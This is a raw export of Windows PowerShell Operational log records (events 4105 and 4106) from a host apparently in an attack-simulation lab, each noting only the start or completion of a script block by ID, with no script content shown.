Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044795
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044793
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044792
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044775
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044770
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044769
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
